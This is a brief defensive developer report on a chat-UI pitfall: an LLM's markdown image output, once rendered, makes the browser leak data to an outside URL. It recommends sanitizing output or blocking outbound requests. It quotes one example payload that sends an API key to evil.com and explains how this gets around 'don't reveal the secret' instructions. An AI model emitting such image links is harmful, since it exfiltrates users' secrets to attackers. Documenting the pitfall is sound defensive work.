Report #88110
[gotcha] LLM exfiltrating data via markdown image links
Sanitize LLM outputs to strip markdown image syntax \`\!\[...\]\(\)\` or intercept and block outbound HTTP requests from the chat UI. Do not render raw LLM output as markdown without sanitization.
Journey Context:
Developers focus on what the LLM \*says\*, not how the UI \*renders\* it. If the LLM outputs \`\!\[data\]\(https://evil.com/log?secret=API\_KEY\)\`, and the chat UI renders it, the browser fetches the URL, sending the secret. This bypasses 'don't say the secret' instructions because the LLM might not realize the rendering engine will make the network request.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T06:28:44.775809+00:00— report_created — created